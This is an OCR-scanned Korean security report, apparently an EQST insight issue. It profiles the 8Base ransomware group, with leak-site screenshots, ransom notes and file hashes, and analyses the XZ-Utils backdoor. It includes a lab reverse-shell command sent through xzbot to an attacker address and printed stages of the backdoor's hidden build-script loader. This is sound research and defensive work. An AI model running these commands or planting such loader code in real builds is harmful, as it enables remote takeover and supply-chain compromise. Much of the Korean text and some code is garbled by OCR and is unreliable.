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LEAKED DATA

W TWITTER
e PRESS ABOUT US

> B HOW TO BUY BITCOIN
> [ AFFILIATE RULES

> @ CONTACTUS
> &% MIRRORS

peaseinc.com

Based out of Lakewood, Washington, Pease
Construction has been delivering construction
services to public and private clients for over 35
vears. Our success relies on having a team of

yupousa.com

YUPO is the recyclable, waterproof, tree-free
Synthetic Paper with attributes and properties that
make it the perfect solution for a variety of
marketina, desian, packaaing and labeling needs.

concorr.com

cordish.com

6D 15h 16m 20s 6D 15h 17m 51s

CONCORR. Inc. was established in 1990 to develop
technologies and provide solutions for mitigating
corrosion of reinforcement, both conventional and
stressed, in reinforced concrete structures. It

The Cordish Companies' origins date back to 1910
and encompass four generations of privately-held,
family ownership. During the past ten decades, The
Cordish Companies has arown into a alobal leader

DARK\ZANS

LEAKED DATA

& LEAKS
e ABOUTUS

> @ HOWTO NEGOTIATE
> B HOW TO BUY BITCOIN

> B Fags
> @ CONTACTUS

sandipuniversity.edu.in

1D 06h 25m 38s

Sandip University is a thriving hub of 21st century

is set in a picturesque lush areen Wi-Fi enabled

higher education.It is a UGC-approwved University in
India, located in Nashik, Maharashtra. The University

atriline.by

06h 29m 38s

Oxnaiin npoaaxa Guaetos no mapwpyTy Bobpyiick
- MuHck - BoBpyiick
MUAHYTE
LeHamm

Mokynka 3aHAMaeT 2
OzHAKOMBTECH C PACCMACAHNEN U
becnnatHeIA BozERAT, VAODHOR

bzrastreador.com.br

bigtoe.yoga

[ PUBLISHED

)

[ PUBLISHED ]

A BZ Sistemas & uma empresa focada em solugbes
|para empresas, visando otimizagdo de recursos.

Book an in-home Massage or Private Yoga
appointment with a provider in seconds! Bigtoe is
the easiest way to book mabile massage
appointments with a 5-start massage therapist.
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35%5 AASHL QHk ole HWE IE=9 Bk A9l 20%Eu 33%p W2 FAR HE 54
oFARS Holth

" 2212 (Cronos) A: LockBit &) 32 AM, tha] §F AOIE 5 WA Aumerg mushy] A% I SARY TR
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m g0 ¥F XA

8Base Aol 7Ha

8Base SOl I 2022 | 3 Lo 5H

dole 3
wa) Aele
A, =
g 712

Hoxn

iE

SBASE

YOUR DATA IS NOT SAFE.

Comment:

Z4: 8Base WAHFo] I1F HolH 4F AfolE

el
lo

u, @47 oF 380 of o] el ARE Tag
Aol AN ol5e 2023 W 5 Yol AW dole §F AoJES AU
QuAo ANGYor], 2L o 6 Lol 47 0] WS AAS] BAGo BF
5, 2024 ¥ 4 Yol oY §2 Aol 2 HIE Ax 7ol 1 A ANR
a4 Az, AR, 71D BA Fol §EHUA T TS wA 4 9

.—VL tlo ol

O

1o
AN 1

o

o,

|| Decument-02-256.png.id[CASAAGRT -1030].[ramsey_frederick@acl.com].phobos || | | Document-02-256.png.id[CAZAAGD 1 -3483] [support@rexsdata.pro].8base
|| icontxtid[CASAAB01-1030].[ramsey_frederick@acl.com].phobos || icon b id[CASAAGDT -3483]. [support@rexsdata.pro].Bbase
| | Upload-256.zip.id[CASAABO1-1030].[ramsey_frederick@aol.com].phobos || Upload-256.zip.id[CAAABD1 -3483] [support@rexsdata.pro].8base

a9 5. 9453 s34 Bl (F}: Phobos, ¢ 8Base)
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A 8Base += 2019 @ ¥A¥ ZHA(Phobos) 7[HEe] @MY olE ARESIL Qlth. Phobos
Aol o e Z2addor s Hujof sjz2E Aol §li= Dharma/Crysis A4 ¥o] 9]
Hzog I thE Phobos WEo] FE3] =461 Qth 8BRase = Phobos 2.9.1 HAE
837 "go] AAFEETE ofyet HAHLES Wgd HARQl, ofmet At ¢fe EzfolE
=% ID & 3479 oHdg FUlshs WAZA] FAFSHH. o]Qlok fe s} def o] HE
Phobos ®WEFES AL ETL of 9\1% At Phobos #dHolet FYt RSA F7W71E

T3t 8Base 7F Z|&Eo| ARESE NET © 7]9ke] shidglo] H#ut oz, 2023 W 11 4
SmokelLoader & ©o|&d]|4 wjxst= WEFo] WAL SmokelLoader + THEZTY IR
C2 AMH Pol H& 3 ©Pgo] wet 57 By dAHFIEE HREEE 4 Uty 8Base 9
SmokeLoader WE9] AL  SmokeLoader UHe] AAE  HolrEE %%-3}7414
C2 A (Command & Control Server)ofl A& dT3td o] Ho]2E(payload) M &
the=Ctof] 553t & Aok WAlE ARSIt HEH oz AiE= o] Ho|2=+= NET
7]6ke] 2 oot A5 Phobos ¥Wl1Z<] A ¢olt},

Welcome to the Ransom House

You are locked by

WHITE RABBIT

Knock, Knack. Follow the White Rabbit

| | Dear Management,

| by DARK ANGELS TEAM !

| | If you are reading this message, it means that

_ your network infrastructure has been compromised,
- critical data was leaked,

_files are encrypted

[
()
1)

The best and only thing you can do is to contact us The best and only thing you can do is to contact us
to settle the matter before any losses occurs. to settle the matter before any losses occurs
The best and only thing you can do is to contact Us
nion site to settle the matter before any losses occurs
nitp r 5 Syntissiojzvn246spahniugwkff2pad.onion,

Telegram Channel
ttps.//t mefeightbase

1. THE FOLLOWING IS STRICTLY FORBIDDEN 1. THE FOLLOWING IS STRICTLY FORBIDDEN

1. THE FOLLOWING IS STRICTLY FORBIDDEN

1.1 EDITING FILES ON HDD.

Renaming, copying or moving any files 1.1 EDITING FILES ON HDD. 1.1 DELETION THIS NOTE

Each note carries the encryption key

could DAMAGE the cipher and Renaming, copying or moving any files
decryption will be impossible could DAMAGE the cipher and needed to decrypt the data,
decryption will be impossible don't lose it
1.2 USING THIRD-PARTY SOFTWARE 1.2 USING THIRD-PARTY SOFTWARE
Trying to recover with any software Trying to recover with any software
can also break the cipher and can also break the cipher and 1.2 EDITING FILES OR HDD.
file recovery will become a problem fle recovery will become a problem. Renaming, copying or moving any files

could DAMAGE the cypher and
decryption will be impossible

a9 6. AHXE vl (3} DarkAngels, % 8Base, ¥ RansomHouse)

12 NET: MS oA 7|dst Windows Z2 13 g @ Ag) 7 (Ly|dL )
13 C2 AH(Command & Control Server): FAZ7F 7] & 438 Fxet F4S FAIAY B3 dgdsh= AH

U S0 25 (payload): AHFE AW AR, WA B S BHOE £4S J5lEs 4AY 1
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8Base += Phobos #4l9lo] Qo thefet TIEE7He] Aol EIfith. dAl FA| AREStL
AR = FA|GE o]Eo] EAXHOZ SFotr] ARG 2023 W 5 97 WAE AL E+= DarkAngels
Aol #EF Babuk HHE  ARESH RansomHouse(Mario/WhiteRabbit) 14 o] <]
AHEESF -go] mle FARSHHE. ESH 8Base 1E9 oA HlolH /& ARIEs
RansomHouse 59| Ate]ESQF Main H|o]Z], FAQ H|o]Z], Rules #o|z|2] Bt FALSHTE,

rob

FAQ

What are your current official news channels?

Official Telegram Channel:
Official Twitter account:

Can we cooperate with you?

We would be glad to find new contacts in this field. So if you want us to make your data available on our website or participate in negotiations, you need to contact us using our
Cooperation Telegram Channel, we are open to it. Please keep in mind that we reserve the right to reject data violating moral and ethical principles. Iif we find common ground, the
team will then contact the company and make negotiations for you. A further decision on data disclosure will be made following the negotiations, so you will be notified. Important: if
you are a member of an ultra-radical group forbidden in some country. involved in extremism or espionage, any cooperation between us is impossible. Your values are not the same
as ours: we appreciate life, liberty, equal access to information, democracy and non-violent methods of communication. Qur team does not provide data to any groups if we become
aware of their extremist activities. We are not involved in politics or religion.

a3 7, g43aYq {5 A°lE " (4 RansomHouse, 5} 8Base)

Mse deel WS WA A3 O3Y §2 AolEe] £} fAITE Wz
8Base 1F©] RansomHouse “LFolA A IAY 2lH3i ] (Rebranding) °3F T1Fo]=2t= oA o]
EAH AR b 180 BE A8t 24d 192 Agdls A7 $29 wes
ARgSHE A2 B 9ol ofy”] "], o9 dWde BHstlole $A7E SRSkl ¢t

B gugdid (Rebranding): &ZAFE0] 298 ST & QY2 o]F0 R thA] Y5t 54
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8Base Ransomware

infosec

2 Sof Mgl o=

.NET HE{ £2 Smokeloader HE
&G AlLE[e
O—o rosource  E— —
P downicad Encrypted decnypt — Payload —— e
Attacker via 2 e \%chm
RSA-1024E EHS

2331 7

AES-256(CBC) =

YTEFoE I ¥BE o1, o 718

t AES -
i

Encrypted
T File

File

Q 9
e [
Performance Counter

O} 256KBTF R &35}

24 Y | i cve ojor . xA| o
1.5MB 0| : Y S 358 ¥, &4 Y
.
. LN ER- =28EH AR 2y
Lo
gt ZE[2Y = Wote ofA| | | UAC Bypass

Y3t

| info et - Windows MY
DEF) BUE MO BTV SSEH)

Al of your files are encrypted!!

To decrypt them send e-mail to this address: support@rexsdata.pro.

‘Write us to the Tox Messanger: 1167BDDAA32671D52932698FF508CFF194BFIE9BISEI1 BFBATADBOICOAS TEB41882388000595

All your files have been encrypted!

L ™
Unfare saryreg e can wamal vm i £ ) Ml for e desrypton, The tota e of s rrank b levs th 44 e arcboved]), amed s sheuld rt ot vikabie e matin. (et abven, b, g el shests, st

| Frow decryption s guarastes.

[
The samest ety 0 by bocans  Lacallteons ste. Vew hroe i rogater, ek Ty bECuny, and seect ha e by piymant mead and pre.

1y Blcarn i begnenss (e o
s bty bicaral

o Dot e eyt e
v D 1k £ deYRE vour data wing e ety sl & T Cause DerTRaserk data i,
+ Decrvpmen of your St with S heb of il parbes mury Cause rrvasnd pece (ihey add Eher fre 1o our) o yeu can became 3 veam of o scam.

L info.txt, info.hta

sz FEA}
()—({ Id[A-Z0-9]{8}-[0-9]{4}].[support@rexsdata.pro].8base
#5t ofof
(|)—o[ C#/C++
1% 8. 8Base WAl 7la
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8Base MY o] A=F

infosec

Execution

Persistence TYE QIEmo|A a3 ofd W 2

[m

Hr2ER 5 R

AlE B Hdglof AdIE =7t Privilege Escalation

[ 11547.001 |

Defense Evasion .NET profiler DLLE 288 UAC Bypass

Hsho| A= EFS FBoI0] =Z2M2 WY

(Tissso0z
[Trissooe]

AsstE WY I 22
Windows &t vl g3}

[0
(Trssro0r

Exfiltration

Impact C2 M

i
om
13
40
it

[m

clolef =5t

HHO4 i*r!ﬂ Lln;ql

SE =

[_T4as_]
[_T1450_|]

1% 9. 8Base WA 54 A

8Base WALl AT WHLOE NET FeH= ZHF HjEsAY Og=2td GAdFE=ql
SmokelLoader & ©]|-83}] #]xZsIt}t. Smokeloader = C2 AHZHE 45 sts AL o] fo|lnEE

GRS W ol skl APAAE G FPATE NET e BEeld B9,
Aol2Esk MEW W Fez AHe] T olF BE) Mz ZRALZ AP F
712 $E WAL RE AT Phobos W% A49o] HolR =S AsA

HFHos AYHE WYl WMolESt AES-256(CBC) FTFOE AmaE MY ol
“cdata” Gl AFHe] ek A el 7] HE] A RSA FAY), BE Aol 94
e e WA Yol BAY, AE5 el 31 W Bl G AL 2ol LA
Aol Wag ol mewlo] gtk 8Base £ SEILYH AES 712 ol §eld 44 glo] Way

wjutch 2o 3tejA ARE-SHTE
8Base A ol= Hge AHPS ol AFEE HoH: A AsHoR AHYPHEE
AAsh, ezt @t f5cta #RtHE H|gget dtrh A&5A SHE Qo) dA HAgF
Aol Fd& A & 2 Eg F7HE oA FE Al i A7t
Azdog A" 4 = v Eot #A A VR ZRAAY EFES EA
A olE APA|Z|AL NET profiler DLL 24 Z2A|A 100 FoFye o]gs] |z AT
Adge] "Q3t 52 IS $3ok= UAC(User Account Control)'” Bypass with .NET profiler

ot

rsh

16 NET profiler DLL 2% Z2A|2: o2 ofZa]Ao]x ] AL RUE 7] 9t =42 NET profiler DLL & 8] 2= T2 A~

17 UAC(User Account Control): 2|zt @gto] st 49, A A A&7 HF Fo& 2%3H= Windows HSt 7]%
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R Fe e

L
[$)

_,_.
rH
o,

g 5 5 Agdt vAeR HE AEHolA(Command-line
Interface) “S oA el HARS AAST el wBASGHE J5E AU 9t

w49l QrEshe oA PC o Eetolnig ofuet EQD B4 BriL gt 1 gushs
AES-256(CBC) TTeES olg3i, usio] AgEE AES 71& 9mst 2ds 44 ol
Ayl AT 7 mente tE 712 A4gsks Zol ofur] wEel [V(nitalizaton
Vecton)*E mlnitt W A4S 7] FE EAS AU duste] AEH AES ]9 IV &
A7 gol ARl Qe RSA BAVIE FalA Rewn], gashd 0o] 2o Frbdc

infosec

I
HH mtel 1/3 27|

256KB 4 1t

256KB ¥=3t

HH mel 1/3 27| —_

Y o

I
HH ntel 1/3 27|

HH mel 1/3 27| H3

1.5MB O]9t 1.5MB O| &
1% 10. 8Base Aol d5st vl

8Base ol el dookE flsiA HE A= But ofyet B oSt HAS ARgRl.
g A717F 1.5MB ulgkel A9 w1 HAAE SR sbetal, 1.5MB ol Agols e 22

A712 358 2 JAutrt 256KB 7 453t

5 W% Qe Ho] A (Command-line Interface): AHEIS] LA} 45 ool FAe AT 4 e HAE S| AEjHo]~

¥ [V(Initialization Vector): £5 53t WalolA AgsE odS 3 shiz gust 2wt Aee 717 s o] S1s) e
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8Base ;%

& 3YE 53 YX|2EL| WP HE

ASR 1% Ed3} U EDR SR MAE B
ot #g| xict

ASR 114 gHdstE Bt obd el Xt
Hlo]E Wy

8Base ¢ NET 7]t
SmokeLoader H&
Hoole] ME&

Reduction)® F+%]

T Uk EoF o @

5] Aesof ek

o] dosht W Holy AAet F2 752 s
915 8Base MA¢ol= UAC Bypass 71H& &8s
AR5ttt Windows &G A|A1E ‘lj-iﬂ

ol AFEAE T E ZEAAY] ESS

dddlols HolzE
2= C2 oA mo|l=E
DA Adsts "Rl
G5 Ea) ok ey

d9lo] o3

infosec

Execution

ASR 715 EdstE St o Wl Kk
Anti-Virus 22810 2|4A2 2 oY Ha|

Persistence

[m

[ 71547.001 |

Privilege Escalation

Windows %4 HHH2E YHI0|E
2¢ ge|a 280l AHER HIA
I8 HHE EH ES 449 M

Defense Evasion

]

[Treozoot]
(Trs4s.002]
[Triseooz]

Exfiltration

[

[m

DLP #8M 3 EDR &8 M
HiolE F& Yzl

& 5%

Impact

(isss ]
o |

1% 11. 8Base WA o] off-gHet

£ HRadold oot Mz mzAlsz s,
£ th2 ¥4 Smokeloader WHol AFH HolZ=E
ARgsEal ok oA ASR(Attack  Surface
MEL ZRAAE SoiA dAEe A FAS
ZAstE e APAA 4 =5 Anti-Virus &

A9l Ahgstel AsEs
shusta] 2IES & 4 ek

ALY dgto] g mzAsc] EaS HA
©35) J]¥o] WA WA uolEsAY, 1F AW 4L

BASAY AT 4 Q=S Sfok st

20 ASR(Attack Surface Reduction): 24 F =9 34
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FESE 8Base s ololl= el e BEAS} st #Y HolEE AAsk: HEolEel Yot
Az g Aok AES ] Al Y FPolEe F28eiA AREsH7] wiEol| ASR 3]
243}, EDR(Endpoint Detection and Response)?! &34 5-& A5l oA PHE AR xpetefo
it‘r ol¢Jo%= DLP(Data Loss Prevention)” &F4doltt EDR &£342 &8¢ toly f&=

A 4 glom, Mo YEYIL AFad HolHE 4 wels peRo g W usiel
NAS 32 9o 440l dold A4S hAT 4

l—‘ Indicator Of Compromise "1

$ 4

Play : SHA256

_—

(e}
AT .

ae0087b0e2f4292c64c5232368e562c30da4db998734b9b3dd5e27f456741f9c
4e4c154f0500990e897ca9650eafd3c6255baddf3b4bc620c6ba27b718278392
b4b89828380c4781c7beafabdce00ae38cd4adc13ad56792996e28c41def5¢53
454f9058a9fd9c266782389850d6142a0d04ce9d8042bc069ccd8d90d60bebd5
7€290b69efbd441e9f968dd21304c7685ddae17be0378113650fba822af08f69

File Name

rh111.exe
executable.exe

mtx111.exe

2! EDR (Endpoint Detection and Response): ZFFEI9F Botd, Av] 5 whl7jox] WAst= o4 P98 AAzte R st £4] ¢
of-g-ste] wof ik T &84

22 DLP(Data Loss Prevention): H0]E]2] 528 ZA|S] %8 AH §&2 TA/A 5= HolE
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m zt1 AJO|E

o G FlAE A3 (https://news.leicester.gov.uk/news—articles/2024/april/cyber—incident—update—3-
april-2024/)

o = H2E A9 8] (https://news.leicester.gov.uk/news—articles/2024/april/more—data—published -

following—leicester—cyber—attack/)
« CISA E<F A F(https://www.cisa.gov/news—events/cybersecurity—advisories/aa24—-060a)

+ BleepingComputer &4 &5o]2] (https://www.bleepingcomputer.com/news/security/hellokitty -

ransomware-rebrands—releases—cd—projekt—and-cisco—data/#google_vignette)

+ BleepingComputer 54} Z#|°]Z] (https://www.bleepingcomputer.com/news/security/8base—

ransomware—gang—escalates—double—extortion—attacks—in-june/)

+ Cyble Research & Intelligence Labs (https://cyble.com/blog/lockbit—blacks—legacy—unraveling—the-

dragonforce-ransomware—connection/)
« SOCRadar &4] E5°]|A] (https://socradar.io/dark—web—profile-8base-ransomware/)

+ Cyberint 54 Zmo]2] (https://cyberint.com/blog/research/all-about—that—8base—ransomware—group—
the—details/)

+ DarkReading +2#¥ (https://www.darkreading.com/threat—intelligence/sexi-ransomware—
desires—vmware—hypervisors)

+ Trend Micro &4 & ©°]A] (https://www.trendmicro.com/vinfo/tr/security/news/ransomware—
spotlight/ransomware—spotlight—8base)

o w2 o] W A 98] (https://energycommerce.house.gov/events/oversight—and-

investigations—subcommittee—hearing—examining—the—change—healthcare—cyberattack)

EQST insight | 25



Research & Technique

XZ-Utils BiE 0| Ot AE BM(CVE-2024-3094)

20248 3¢ 28 ¢ wlo|HAE2AIE (Microsoft) 44 7§l et=gl A 2 QI E (Andres Freund)”7}
XZ FEZ2XZ-Utls)ol Aol wrolE AR Andres Freund = &4 W& A sid
AHAE oss—security”ofl A|HFTE o] Wzoj= FAZL QIS glo] FHoe =z A|AHo| HIE
T =R HAAE FHEsieo B AR W82 oss—security MY 2] AE(Mailing
lisp*ell A ghele o Utk

« URL: https://www.openwall.com/lists/oss—security/2024/03/29/4

ATEQo] Tttt # ok (Fedora), £ o](Slackware), $EE(Ubuntu), Y H]2Hdebian)
o9 Linux HjZmolA] AZEe] w712 452 o XZ-Utls & &8skl Qlrd. E3t
FreeBSD, NetBSD, wlo]Z2ATEQS] ArQ 9 mag Aok AR 4 gk o|HE XZ-
Utils & 949 SFAANA AR Sl v oae 2 =7t =of CVSS
F1H(10 A)= wrekt.

« URL: https://github.com/tukaani—project/xz

XZ-Utils &= Tukaanni ZRAEA mPH LZMA 4= d1a]Z258 AFLSE QT A A QFx
=

Eas HRAEL FTU A Foloti BAZ oot @Mt mAle] 7]ofF 4 gk
AAe AL ot AT ol Xz-Utls #wol Az Qe thtn ZeAsge 44
omas Jojat meAEd] oESI 9l 9Zas AuAY] Mo Fopde] Eelgth ol
ARl SERe AuAbEe] Holel W@ AZAE Bels AV € Aoz dAER, ot
omas wel A Wb @ A pelAA ol vhglo] Washe Axbat

k!

a2 Hoko] thgt =05 sh7] 919t 31 A

1o

2 oss—security: TFFSH Q.

B HAE Mailing lis): QER AFSAENA 24 SV oo PR del Mot Ee Favh 22 Ar4ED
AR Apole] dsit Wd elxEe] ez AT,

2 LZMA &% €aLElE: Igor Pavlov o o e dlole &5 daelE
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https://www.openwall.com/lists/oss-security/2024/03/29/4
https://github.com/tukaani-project/xz

ol

!
T oy

XZ-Utils 9] Helgo]H (Maintainers)®2l 24 ZH (Lasse Collin)2 AT EQo] §2] Ho &
FE 97] Y8 XZ-Utils AFefe] =191 ZJo} &(Jia Tan)ollA] 3 dof AR HIE Ho

Jia Tan-& 2022 2 ¥HE XZ-Utils TRAEA 435 &5glom 20243 29 2347} 24 ¢,
olg°f A XZ-Utls 5.6.0 3 5.6.1 B]do] wizo] wdS A ¥ o]& AW Jia Tan ©]
xz—devel H|¥g TAE A XS HH A]Fo] 2021 ¥ 10 € 29 ¥ AL 1L uf, oA

=
1] = =Zylst Aol Sk 2~ o
717k &<t AEskA FHet AU JAAS 5 Qltk
infosec
p oto|H HE AZ
Lasse Collin,
Hans Janseno| &jotet
Ifunc 7|5 AFZ THX|
Jia Tan,
b JiaTan % 7 one i citet
b mlelfo|L] orut o
F=Z IfuncE ME5H7| 23t
Lasse Collin, X 7HsH
Jia Tan 712 merge AlZt
SxY ol 4
Y
214 98 2218 224 98 234 38 23H 94 244 48
™\ ra" ™\ ra" Fa¥
» Jia Tan S& P HHZOf AX|
p Jia Tan =82 &=
Jia Tan, Jia Tan,
xz-devel BjeR] 2|AE . P B 2=
i 0 Jia Tan,
Tukaani Organization =7+
XZ-Utils v5.4.2 E§1 5l 2l=

19 1. CVE-2024-3094 &7 ergdeigl

i

2 vl QlEfo]d (Maintainers): QZ42 AH|ZFERE Chgat ARG AR Al AR e R eEas ZRAE {7 He
qJ

ZrARoz ol 34
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m 27 AU2e

XZ-Utils Wiz ojo] &

=

=

AUl 2= ofefjet

infosec

® 07} Mgl
ATEQO] Ui _

I 1
i} ||
> (' :’ bl l '
® QEAA TRHE ok £ - H R |
NN “"---.._~i' 1 [
\\\ H : : 1
. 1 1
\‘ \\ Ly B L. L]
S D e 1]
Q AY \ 1 1 1
N\ \ hY 1 !
LN i ]
) NG ff S S
NN A (SN
oo i
\ 1
® A4 TE U #zof A N ﬁ ﬁ ﬁ ¥
o A R
o—|x|' ‘\ : : (]
AL I I : :
Mo 1
Co— H - w L
= N
[
[
_____________ LI
@ o] E2i7, 22 Y A | amesloiugR |
1
i 1
a9 2. XZ-Utils o] 37 At
@® SARE BSY SHO| FAS oZas DRHMES A
@ BAKE QELA TRHE ATEQO AATCO HWZOE MX|
® ISRtz HEOf7t A AZEQIOE REE WOt 340 =&
@ SAXE HEOE E2|Hs) HFAMAM AFEAL PCO| HEHOl X AYIEES HIZ
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0| &

ol s xf

Ok
Nh]
>

e
Ubuntu 22.04

XZ-Utils 5.6.1
(192.168.102.74)

Kali Linux
(192.168.219.129)

st ATEQ 0] HA
e ol7E A E XZ-Utils #7342 of-g3 2t
S/W 72 #o} wiH
XZ-Utils 5.6.0, 5.6.1
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B Y EHAE

Step 1. &4 +4
2 =52 Y FHokst HAS XZ-utils 5.6.1 2] AAFEE debian 9 salsa oA &918 4= QI
« URL:https://salsa.debian.org/debian/xz—utils/—/tree/46¢cb28adbbfb8f50a10704c1b86{107d077878¢6

Aolel] EAcks A1 A8 CIFE o T o AWPH gd 3A% =4 @ 4
gonz gold FAz AR HoFHS HAER 4 U xwbot & EH

« URL: https://github.com/amlweems/xzbot

9 gas E5] th2Hke XZ-utils 5.6.1 ©E & sr¢/liblzma/ libs/ 7 2] liblzma.so.5.6.1 o]
AET sig Y-S xzbot o ATHEE & dole] FAA ATl sfdsteE 3HE
ol Wo|7t ZESHEE HjA]ettt. xzbot @] patch.py A8 AWE A= offiet L.

$ python3 patch.py src/liblzma/.libs/liblzma.so.5.6.1

Step 2. FI°FH HXAE

sz 7} &= liblzma.so.5.6.1 TF¥-S liblzma.so.5 & 53 & & Jes M2 AHEY HAE
ARt} o] FAA PC oA xzbot & &858 ¥4 TS AU ASAE ssh HE a4
HUj wieoj7h A3yE et

T AZ PC Q] Reverse Shell 2 A= xzbot A3 AWMEL: &t 7t

$ /main -addr 192.168.102.74 -cmd ’ python -C 'import
socket,subprocess,o;s=socket.socket(socket. AF_INET,socket. SOCK_STREAM);s.connect(("192.168.216.29",7777));0s.du
p2(s.fileno(),0);0s.dup2(s.fileno(),1);0s.dup2(s.fileno(),2);p =subproces.call(["/bin/sh","-i"]);"

~fxzhot
168.182.74

19 3, Reverse Shell 92 23 AWE
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https://salsa.debian.org/debian/xz-utils/-/tree/46cb28adbbfb8f50a10704c1b86f107d077878e6
https://github.com/amlweems/xzbot

o|% msfat PC7F A2 PC 9] Reverse Shell 2 10| ¥ Z& AT 4 3lrt.

~/xzbot
Lnvp 7777
listening on [any] 7777 ...
connect to [192.168.216.129] from (UNKNOWN) [192.168.216.129] 46772

# cat Setc/passwd
root:x:@:0@:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin: /usr/sbin/nologin
bin bin:/bin:/usr/sbin/nologin
5ysS ys:/dev:/usr/sbin/nologin

1% 4. Reverse Shell 944 &9l
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Step 1. ¥1E FE B

1%

LAAE= XZ-utils AAFTE Yo HWEoE Au AWM AIJHEE ES  liblzmas.so

gtojEzizlo] Wiro] I=F AYstes F

1) build-to—host.m4

22 Z2AAQ m4 Y-S configure.ac Y-S configure shell AFHER vlt=t] Z-8-H}
build—to-hostm4 = Qe A2 7te] 584 AAS Sdeke G4 mdolxm, FAAE S
o] JRE HAG IAHIEE EPLERE FEYH. Y widEsE AEH A4 oo
AC_DEFUN(gl BUILD TO_HOST _INIT)®] FE=7} Wz AsPEc),

dnl Some initializations for gl BUILD TO HOST.

[AC_DEFUN([gl BUILD_TO_HOST_INIT],|

[

dnl Search for Automake-defined pkg* macros, in the order
dnl listed in the Automake 1.10a+ documentation.
|gl_am_configmake=”grep -akrls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2)/devfnu11ﬂ
if test -n "$gl am configmake"”; then
HAVE_PKG_CONFIGMAKE=1
else
HAVE PKG_CONFIGMAKE=@©
fi

gl sed double backslashes="s/\\/\\\\/g'
gl sed escape doublequotes='s/"/\\"/g’

gl_path_map="tr "\t \-_" " \t_\-"'|

changequote(, )dnl

gl sed escape_for_make 1="s,\\([ \"& ;<\ TV, AL, g”

changequote([,])dnl

gl sed escape for _make 2="s,\$,\\$%,g"
dnl Find out how to remove carriage returns from output. Solaris /fusr/ucb/tr
dnl does not understand '\r'.
case “echo r | tr -d "\r'" in
"'y gl _tr_cr="\015" ;;
®) gl tr cr="\r' ;;

esac

19 5. AC_DEFUN(gl_BUILD_TO_HOST_INIT) Z&
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AAFE Y $gl_am_configmake 2 AHH grep -—aFrls "#H{4[[alnum:1{5H#{41$" $sredir/
2>/dev/null o] AP ofzfje} Fo] bad—3-corrupt_lzma2.xz & ZHA| Hr}.

1% 6. AC_DEFUN(gl_BUILD_TO_HOST_INIT) ZE W grep 8% A3 A}

Al tiAre]  Wt(Horizontal

T3t $gl_path_map 2 AR tr “WeW-_" “ Wt W-" 7} A=A
218kt $gl_am_configmake <}

Tab) < Space, —(Hyphen) < _(Underscore)?} A=
$gl_path_map = th53} o] AAFE oA APt

if test "x$gl am configmake™ 1= "x"; then

[g1 [$1] config="sed \"r\n\" $gl _am configmake | eval $gl path map | $gl [$1] prefix -d 2>/dev/null’|
else

gl [$1] config=""
fi

9 7. AC_DEFUN(gl_BUILD_TO_HOST) ZE Y g Ay ATHE

2) bad-3-corrupt_lzma2.xz
bad-3-corrupt_lzma2.xz ML FAA ] ol ®xEo] k= SfA7t HA gerh 1y 9
NS S0l wAgEe] AeEH FdAow FFol YA o3 22 bash shell ~AZHE(0]5}

Stage1)7F UERHA] HT,

19 8. bad—-3-corrupt_lzma2.xz TS F3 AFAH bash shell 2FHE
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3) Stagel — 914 bash shell A3 HE F&

A2 Stagel o] AFEHA Linux 8312 AAFE APeet. o] Stagel 2 A= dol7})
A, good-large_compressed.lzma & A8ttt &g o2 HAHQ] XZ Jﬂr‘“ Falolgt =
SHAI7E ZHeshh, o WiRole AMESHAl S ElolE7t e EAIRI. whebd EaskA] o
Fiea AAS B4 = F55te o] asit, sid 2 ot Zol olFo{zin.

+1024 >/dev/null) && head -c +2048 && (head
(head -c +1024 >/dev/null) && head -c +2048
+2048 && (head -c +1@24 >/dev/null) && head
head -c +2048 && (head -c +10824 >/dev/null)

export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1©24 >/dev/
null) & head -c +2048 & (head -c +1824 >/dev/null) && head -c +2@48 && (head -c

-Cc #1024 >/dev/null) && head -c +2048 &&
&& (head -c +1024 >/dev/null) && head -c
-c +2048 && (head -c +1@24 >/dev/null) &R
&& head -c +2048 && (head -c +1824 >/dev/

null) &% head -c +2048 &% (head -c +1@24 >/dev/null) && head -c +2@48 && (head -c
+1024 >/dev/null) && head -c +2848 && (head -c +1824 >/dev/null) && head -c +2048 &&
(head -c +1024 »>/dev/null) && head -c +2048 && (head -c +1824 »>/dev/null) && head -c
+2048 && (head -c +1824 >/dev/null) && head -c +939)"; @ @ @
(M(xz -dc $srcdir/tests/files/good-large compressed.lzmd|feval §il|ffail -c +31233"EE
"\114-4321\322-\377\35-\47\14-\34\0-\13\50-\113" "\@-\377"]) |xz -F raw --lzmal -dc|/

bin/sh
sHEWor | ditHH
% 9. Stagel bash shell 2T HE AP &4
@ tests/files/good—large_compressed.lzma TL-& 4= A ST
o] @] good-large compressed.lzma WIS A XZ 1t Aozt HE Ibg glo]
I
@ $i T head YHOIE Ed| 1024 bytes & FASIL 2048 bytes & 2o 1AL
grEstoh, upx]dl dlojE& 2048 bytes Hth &7 939 bytes 7} @Al =t siE bytes =

F7tel Eeft

298 A FESH dlolelE= F2] 31233 bytes T @lo]2r},

3 ¥ AL AX folge BEAE 27 thE H9R gt dg 34e AX 1
AHE-gE o] A H T

U 5
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1 A3}, ® o2 bash shell /\ELE]E(O] of Stage2)7]- AzE=2 Yo Hr

3 10. Stagel bash shell 2 HEE 53] A bash shell 2THE

4) Stage2 — 34 2 T34 AAL Object T

Stage2 ©] bash shell 23 HE+= F= &7 2 i@ﬁ Arrel AFE] et ofQok o}
Object W F&, §4 £2AFE 4L Fath. 23 HE+ Ao o] GCC AR off 2
AFHEA ARRE B4 ol EX oR 5= 2 o3 HAFE gt
EAQl oA = otf|e} Fo| wWiojrl FE T7lsH=d] " Qg [FUNC(ndirect Function) ?’
716= @A A ARESH=A] AR,

if | grep -gs "\["HAVE_FUNC ATTRIBUTE IFUNC"\]=" 1"' config.status > /dev/null 2>&1;
then
exit @

% 11. Stage2 bash shell AT HE F [FUNC 7% A o5 AASIE ZE

Agg 5= 917 5= GNU C gtolHajd] 7)%

flo

21 TFUNC(Indirect Function): 2180 A3 A|AoA XA 9] H 1
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o

-

B
o,
i

ot Object T FE9 A¢ dH 5ol good-large compressed.lzma T ZEHE

=AA Qe Btolve] ZEE %%@E}. ot Object A& FEoh= A2 o= 2t

xz -dc $top_srcdir/tests/files/$p || (1)
eval %1 |(:)
LC_ALL=C sed "s/\(.\)/\1\n/g" |
LC_ALL=C awk 'BEGIN{
F5="\n";
R5="\n";
ORS="";
m=256;
for{i=8;im;i++){
tsprintf{"=Hc",1)]=1;c[i]=((1*7)+5)%m;
}
i=6;
j=8;
